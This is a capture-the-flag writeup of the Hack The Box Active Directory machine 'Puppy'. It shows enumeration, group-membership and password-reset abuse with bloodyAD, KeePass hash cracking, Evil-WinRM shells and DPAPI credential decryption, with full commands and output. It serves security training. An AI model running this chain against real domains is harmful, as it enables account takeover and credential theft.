> For the complete documentation index, see [llms.txt](https://youssefsahnoun.gitbook.io/youssefsahnoun/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://youssefsahnoun.gitbook.io/youssefsahnoun/htb-retired-machines/puppy-htb.md). # PUPPY - HTB Puppy is a medium difficulty active directory machine in HTB and this is my writeup.
## RECON: We are presented with initial credentials: levi.james / KingofAkron2025! ### NMAP: ```bash nmap -sC -sV -oA ./nmap puppy.htb Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-18 14:49 EDT Nmap scan report for puppy.htb (10.10.11.70) Host is up (0.065s latency). Not shown: 985 filtered tcp ports (no-response) Bug in iscsi-info: no string output. PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-18 21:53:47Z) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 2049/tcp open nlockmgr 1-4 (RPC #100021) 3260/tcp open iscsi? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 3h04m02s | smb2-time: | date: 2025-09-18T21:55:52 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 242.16 seconds ``` ### NETEXEC: #### SMB Signing: ```bash nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025! ``` #### LDAP Signing: ```bash nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert) LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025! ``` LDAP signing is off. #### USERS: RID brute forcing: ```bash nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --rid-brute SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025! SMB 10.10.11.70 445 DC 498: PUPPY\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 10.10.11.70 445 DC 500: PUPPY\Administrator (SidTypeUser) SMB 10.10.11.70 445 DC 501: PUPPY\Guest (SidTypeUser) SMB 10.10.11.70 445 DC 502: PUPPY\krbtgt (SidTypeUser) SMB 10.10.11.70 445 DC 512: PUPPY\Domain Admins (SidTypeGroup) SMB 10.10.11.70 445 DC 513: PUPPY\Domain Users (SidTypeGroup) SMB 10.10.11.70 445 DC 514: PUPPY\Domain Guests (SidTypeGroup) SMB 10.10.11.70 445 DC 515: PUPPY\Domain Computers (SidTypeGroup) SMB 10.10.11.70 445 DC 516: PUPPY\Domain Controllers (SidTypeGroup) SMB 10.10.11.70 445 DC 517: PUPPY\Cert Publishers (SidTypeAlias) SMB 10.10.11.70 445 DC 518: PUPPY\Schema Admins (SidTypeGroup) SMB 10.10.11.70 445 DC 519: PUPPY\Enterprise Admins (SidTypeGroup) SMB 10.10.11.70 445 DC 520: PUPPY\Group Policy Creator Owners (SidTypeGroup) SMB 10.10.11.70 445 DC 521: PUPPY\Read-only Domain Controllers (SidTypeGroup) SMB 10.10.11.70 445 DC 522: PUPPY\Cloneable Domain Controllers (SidTypeGroup) SMB 10.10.11.70 445 DC 525: PUPPY\Protected Users (SidTypeGroup) SMB 10.10.11.70 445 DC 526: PUPPY\Key Admins (SidTypeGroup) SMB 10.10.11.70 445 DC 527: PUPPY\Enterprise Key Admins (SidTypeGroup) SMB 10.10.11.70 445 DC 553: PUPPY\RAS and IAS Servers (SidTypeAlias) SMB 10.10.11.70 445 DC 571: PUPPY\Allowed RODC Password Replication Group (SidTypeAlias) SMB 10.10.11.70 445 DC 572: PUPPY\Denied RODC Password Replication Group (SidTypeAlias) SMB 10.10.11.70 445 DC 1000: PUPPY\DC$ (SidTypeUser) SMB 10.10.11.70 445 DC 1101: PUPPY\DnsAdmins (SidTypeAlias) SMB 10.10.11.70 445 DC 1102: PUPPY\DnsUpdateProxy (SidTypeGroup) SMB 10.10.11.70 445 DC 1103: PUPPY\levi.james (SidTypeUser) SMB 10.10.11.70 445 DC 1104: PUPPY\ant.edwards (SidTypeUser) SMB 10.10.11.70 445 DC 1105: PUPPY\adam.silver (SidTypeUser) SMB 10.10.11.70 445 DC 1106: PUPPY\jamie.williams (SidTypeUser) SMB 10.10.11.70 445 DC 1107: PUPPY\steph.cooper (SidTypeUser) SMB 10.10.11.70 445 DC 1108: PUPPY\HR (SidTypeGroup) SMB 10.10.11.70 445 DC 1109: PUPPY\SENIOR DEVS (SidTypeGroup) SMB 10.10.11.70 445 DC 1111: PUPPY\steph.cooper_adm (SidTypeUser) SMB 10.10.11.70 445 DC 1112: PUPPY\Access-Denied Assistance Users (SidTypeAlias) SMB 10.10.11.70 445 DC 1113: PUPPY\DEVELOPERS (SidTypeGroup) ``` Active users: ```bash nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --active-users LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert) LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025! LDAP 10.10.11.70 389 DC [*] Total records returned: 9, total 2 user(s) disabled LDAP 10.10.11.70 389 DC -Username- -Last PW Set- -BadPW- -Description- LDAP 10.10.11.70 389 DC Administrator 2025-02-19 14:33:28 7 Built-in account for administering the computer/domain LDAP 10.10.11.70 389 DC levi.james 2025-02-19 07:10:56 0 LDAP 10.10.11.70 389 DC ant.edwards 2025-02-19 07:13:14 0 LDAP 10.10.11.70 389 DC adam.silver 2025-09-18 17:54:04 0 LDAP 10.10.11.70 389 DC jamie.williams 2025-02-19 07:17:26 7 LDAP 10.10.11.70 389 DC steph.cooper 2025-02-19 07:21:00 7 LDAP 10.10.11.70 389 DC steph.cooper_adm 2025-03-08 10:50:40 7 ``` #### SMB SHARES: ```bash nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025! SMB 10.10.11.70 445 DC [*] Enumerated shares SMB 10.10.11.70 445 DC Share Permissions Remark SMB 10.10.11.70 445 DC ----- ----------- ------ SMB 10.10.11.70 445 DC ADMIN$ Remote Admin SMB 10.10.11.70 445 DC C$ Default share SMB 10.10.11.70 445 DC DEV DEV-SHARE for PUPPY-DEVS SMB 10.10.11.70 445 DC IPC$ READ Remote IPC SMB 10.10.11.70 445 DC NETLOGON READ Logon server share SMB 10.10.11.70 445 DC SYSVOL READ Logon server share ``` DEV share is interesting but we can’t read it. #### Kerberaoastable users: ```bash nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --kerberoasting kerberoast.txt LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert) LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025! LDAP 10.10.11.70 389 DC [*] Skipping disabled account: krbtgt LDAP 10.10.11.70 389 DC [*] Total of records returned 0 ``` We find None. ### BLOODHOUND: Clock skew synch first: ```bash sudo ntpdate 10.10.11.70 [sudo] password for kali: 2025-09-18 18:13:11.940695 (-0400) +11146.714071 +/- 0.017810 10.10.11.70 s1 no-leap CLOCK: time stepped by 11146.714071 ``` Collect bloodhound data for our user levi.james. (You can use Netexec for that but don’t forget to specify the dns server). ```bash nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --bloodhound --collection ALL --dns-server 10.10.11.70 LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert) LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025! LDAP 10.10.11.70 389 DC Resolved collection methods: trusts, localadmin, psremote, container, group, acl, dcom, objectprops, rdp, session LDAP 10.10.11.70 389 DC Done in 0M 16S LDAP 10.10.11.70 389 DC Compressing output into /home/kali/.nxc/logs/DC_10.10.11.70_2025-09-18_181417_bloodhound.zip ```
Our user has interesting rights: **GenericWrite on the DEVELOPERS group.** ***GenericWrite: Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user.*** So we can add ourself to the DEVELOPERS group by changing the member attribute and then read the DEV share. ## EXPLOIT: ### USER: We add our user to the DEVELOPERS group using bloodyAD: ```bash bloodyAD --host 10.10.11.70 -u levi.james -p 'KingofAkron2025!' add groupMember DEVELOPERS levi.james [+] levi.james added to DEVELOPERS ``` Now we can access that DEV share! ```bash smbclient //10.10.11.70/DEV -U 'levi.james%KingofAkron2025!' smbclient: Ignoring: /etc/krb5.conf:1: binding before section smbclient: Ignoring: /etc/krb5.conf:1: binding before section smbclient: Ignoring: /etc/krb5.conf:1: binding before section smbclient: Ignoring: /etc/krb5.conf:1: binding before section Try "help" to get a list of possible commands. smb: \> ls . DR 0 Thu Sep 18 15:25:27 2025 .. D 0 Sat Mar 8 11:52:57 2025 KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 03:09:12 2025 Projects D 0 Sat Mar 8 11:53:36 2025 recovery.kdbx A 2677 Tue Mar 11 22:25:46 2025 ``` We notice a keepass database file. (Projects directory is empty). ```bash keepassxc-cli ls recovery.kdbx Enter password to unlock recovery.kdbx: Error while reading the database: Invalid credentials were provided, please try again. If this reoccurs, then your database file may be corrupt. (HMAC mismatch) ``` It’s password protected. We can use Keepass2john to convert it into a hash that we can crack later. **Make sure you have the latest john version which supports keepass v4 in order to convert and crack it with no problem.** ```bash /tmp/john/run/keepass2john recovery.kdbx > keepass_hash.txt ``` ```bash /tmp/john/run/john --format=KeePass keepass_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [AES/Argon2 128/128 SSE2]) Cost 1 (t (rounds)) is 37 for all loaded hashes Cost 2 (m) is 65536 for all loaded hashes Cost 3 (p) is 4 for all loaded hashes Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes Will run 4 OpenMP threads Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status Failed to use huge pages (not pre-allocated via sysctl? that's fine) liverpool (?) 1g 0:00:00:16 DONE (2025-09-18 19:56) 0.06139g/s 2.210p/s 2.210c/s 2.210C/s purple..liverpool Use the "--show" option to display all of the cracked passwords reliably Session completed ``` Password is “liverlpool”! ```bash keepassxc-cli ls recovery.kdbx Enter password to unlock recovery.kdbx: JAMIE WILLIAMSON ADAM SILVER ANTONY C. EDWARDS STEVE TUCKER SAMUEL BLAKE ``` ```bash keepassxc-cli export recovery.kdbx Enter password to unlock recovery.kdbx: ``` We can see all the passwords for those users. ```bash keepassxc-cli export recovery.kdbx | grep -i '' Enter password to unlock recovery.kdbx: JamieLove2025! HJKL2025! HJKL2025! Antman2025! Antman2025! Steve2025! Steve2025! ILY2025! ILY2025! ``` Let’s test the credentials and collect bloodhound data at the same time. ```bash nxc ldap 10.10.11.70 -u ant.edwards -p 'Antman2025!' --bloodhound --collection ALL --dns-server 10.10.11.70 LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert) LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\ant.edwards:Antman2025! LDAP 10.10.11.70 389 DC Resolved collection methods: objectprops, acl, dcom, trusts, container, rdp, psremote, session, localadmin, group LDAP 10.10.11.70 389 DC Done in 0M 13S LDAP 10.10.11.70 389 DC Compressing output into /home/kali/.nxc/logs/DC_10.10.11.70_2025-09-18_201742_bloodhound.zip ``` ```bash nxc ldap 10.10.11.70 -u adam.silver -p 'HJKL2025!' --bloodhound --collection ALL --dns-server 10.10.11.70 LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert) LDAP 10.10.11.70 389 DC [-] PUPPY.HTB\adam.silver:HJKL2025! ``` ```bash nxc ldap 10.10.11.70 -u jamie.williams -p 'JamieLove2025!' --bloodhound --collection ALL --dns-server 10.10.11.70 LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert) LDAP 10.10.11.70 389 DC [-] PUPPY.HTB\jamie.williams:JamieLove2025! ``` Only ant.edwards credentials are valid.
We have GenericAll rights on the ADAM.SILVER account. Which means we can change his password. ```bash bloodyAD --host 10.10.11.70 -u ant.edwards -p 'Antman2025!' set password adam.silver password123 Traceback (most recent call last): File "/home/kali/.local/bin/bloodyAD", line 8, in sys.exit(main()) ~~~~^^ File "/home/kali/.local/lib/python3.13/site-packages/bloodyAD/main.py", line 210, in main output = args.func(conn, **params) File "/home/kali/.local/lib/python3.13/site-packages/bloodyAD/cli_modules/set.py", line 276, in password raise e File "/home/kali/.local/lib/python3.13/site-packages/bloodyAD/cli_modules/set.py", line 121, in password conn.ldap.bloodymodify(target, {"unicodePwd": op_list}) ~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/kali/.local/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 315, in bloodymodify raise err msldap.commons.exceptions.LDAPModifyException: New password doesn't match the complexity: The password must contains characters from three of the following categories: Uppercase, Lowercase, Digits, Special, Unicode Alphabetic not included in Uppercase and Lowercase Password can't be changed before -2 days, 23:54:14.391071 because of the minimum password age policy. ``` As you can see there is a password policy that we need to follow: ```bash bloodyAD --host 10.10.11.70 -u ant.edwards -p 'Antman2025!' set password adam.silver Password123_ [+] Password changed successfully! ``` ```bash nxc ldap 10.10.11.70 -u adam.silver -p 'Password123_' --bloodhound --collection ALL --dns-server 10.10.11.70 LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert) LDAP 10.10.11.70 389 DC [-] PUPPY.HTB\adam.silver:Password123_ STATUS_ACCOUNT_DISABLED ``` Account is disabled. We can enable it using bloodyAD since we have genericAll rights on the account. **To do that use : set object “user” userAccountControl -v 66048** ```bash bloodyAD --host 10.10.11.70 -u ant.edwards -p 'Antman2025!' set object adam.silver userAccountControl -v 66048 [+] adam.silver's userAccountControl has been updated ``` ```bash evil-winrm -i 10.10.11.70 -u adam.silver -p 'Password123_' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\adam.silver\Documents> ``` User pwned! ### ROOT: ```bash Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\adam.silver\Documents> cd ../../../../ *Evil-WinRM* PS C:\> cd backups *Evil-WinRM* PS C:\backups> dir Directory: C:\backups Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip *Evil-WinRM* PS C:\backups> download C:\backups\site-backup-2024-12-30.zip Info: Downloading C:\backups\C:backupssite-backup-2024-12-30.zip to C:backupssite-backup-2024-12-30.zip Error: Download failed. Check filenames or paths *Evil-WinRM* PS C:\backups> download site-backup-2024-12-30.zip Info: Downloading C:\backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip Info: Download successful! ``` Backups zip in C:/backups looks promising. We download it using evil-winrm download command and unzip it. ```bash unzip site-backup-2024-12-30.zip Archive: site-backup-2024-12-30.zip creating: puppy/ inflating: puppy/nms-auth-config.xml.bak creating: puppy/images/ inflating: puppy/images/banner.jpg inflating: puppy/images/jamie.jpg inflating: puppy/images/antony.jpg inflating: puppy/images/adam.jpg inflating: puppy/images/Levi.jpg creating: puppy/assets/ creating: puppy/assets/js/ inflating: puppy/assets/js/jquery.scrolly.min.js inflating: puppy/assets/js/util.js inflating: puppy/assets/js/breakpoints.min.js inflating: puppy/assets/js/jquery.min.js inflating: puppy/assets/js/main.js inflating: puppy/assets/js/jquery.dropotron.min.js inflating: puppy/assets/js/browser.min.js creating: puppy/assets/webfonts/ inflating: puppy/assets/webfonts/fa-regular-400.eot inflating: puppy/assets/webfonts/fa-solid-900.svg inflating: puppy/assets/webfonts/fa-solid-900.ttf inflating: puppy/assets/webfonts/fa-solid-900.woff2 inflating: puppy/assets/webfonts/fa-brands-400.svg inflating: puppy/assets/webfonts/fa-solid-900.woff inflating: puppy/assets/webfonts/fa-solid-900.eot inflating: puppy/assets/webfonts/fa-regular-400.ttf extracting: puppy/assets/webfonts/fa-regular-400.woff2 inflating: puppy/assets/webfonts/fa-regular-400.svg inflating: puppy/assets/webfonts/fa-brands-400.eot inflating: puppy/assets/webfonts/fa-brands-400.woff inflating: puppy/assets/webfonts/fa-brands-400.ttf inflating: puppy/assets/webfonts/fa-brands-400.woff2 inflating: puppy/assets/webfonts/fa-regular-400.woff creating: puppy/assets/css/ inflating: puppy/assets/css/main.css creating: puppy/assets/css/images/ inflating: puppy/assets/css/images/overlay.png inflating: puppy/assets/css/images/highlight.png inflating: puppy/assets/css/fontawesome-all.min.css creating: puppy/assets/sass/ inflating: puppy/assets/sass/main.scss creating: puppy/assets/sass/libs/ inflating: puppy/assets/sass/libs/_vendor.scss inflating: puppy/assets/sass/libs/_functions.scss inflating: puppy/assets/sass/libs/_html-grid.scss inflating: puppy/assets/sass/libs/_vars.scss inflating: puppy/assets/sass/libs/_breakpoints.scss inflating: puppy/assets/sass/libs/_mixins.scss inflating: puppy/index.html ``` ```bash cat puppy/nms-auth-config.xml.bak DC.PUPPY.HTB 389 dc=PUPPY,dc=HTB cn=steph.cooper,dc=puppy,dc=htb ChefSteph2025! (&(objectClass=person)(uid=%s)) ``` We find steph cooper password: ChefSteph2025!. ```bash evil-winrm -i 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\steph.cooper\Documents> ``` Running winpeas we get this interesting directory:
Inside the SID folder we find hidden files: (you can use Get-ChildItem . -Force to list hidden files) ```bash *Evil-WinRM* PS C:\Users\steph.cooper\appdata\roaming\microsoft\protect\S-1-5-21-1487982659-1829050783-2281216199-1107> Get-ChildItem . -Force Directory: C:\Users\steph.cooper\appdata\roaming\microsoft\protect\S-1-5-21-1487982659-1829050783-2281216199-1107 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407 -a-hs- 2/23/2025 2:36 PM 24 Preferred ``` Which appear to be a master key for the dpapi blob at **“C:\Users\steph.cooper\appdata\roaming\microsoft\credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9”** . W need a hex key to decrypt the blob and we can extract that hex from the masterkey with impacket’s dpapi.py. ```bash python3 dpapi.py masterkey -file ../../puppy/556a2412-1275-4ccf-b721-e6a0b4f90407 -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [MASTERKEYFILE] Version : 2 (2) Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407 Flags : 0 (0) Policy : 4ccf1275 (1288639093) MasterKeyLen: 00000088 (136) BackupKeyLen: 00000068 (104) CredHistLen : 00000000 (0) DomainKeyLen: 00000174 (372) Decrypted key with User Key (MD4 protected) Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84 ``` Now we decrypt the blob with the hex key. ```bash python3 dpapi.py credential -file ../../puppy/C8D69EBE9A43E9DEBF6B5FBD48B521B9 \ -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [CREDENTIAL] LastWritten : 2025-03-08 15:54:29 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=PUPPY.HTB Description : Unknown : Username : steph.cooper_adm Unknown : FivethChipOnItsWay2025! ``` We get Administrator steph.cooper\_adm password “FivethChipOnItsWay2025!”. ```bash *Evil-WinRM* PS C:\Users\steph.cooper_adm> cd .. *Evil-WinRM* PS C:\Users> cd administrator *Evil-WinRM* PS C:\Users\administrator> ls Directory: C:\Users\administrator Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 2/19/2025 11:34 AM 3D Objects d-r--- 2/19/2025 11:34 AM Contacts d-r--- 5/12/2025 7:34 PM Desktop d-r--- 3/9/2025 8:22 PM Documents d-r--- 3/23/2025 12:13 AM Downloads d-r--- 2/19/2025 11:34 AM Favorites d-r--- 2/19/2025 11:34 AM Links d-r--- 2/19/2025 11:34 AM Music d-r--- 2/19/2025 11:34 AM Pictures d-r--- 2/19/2025 11:34 AM Saved Games d-r--- 2/19/2025 11:34 AM Searches d-r--- 2/19/2025 11:34 AM Videos *Evil-WinRM* PS C:\Users\administrator> cd desktop *Evil-WinRM* PS C:\Users\administrator\desktop> ``` GG!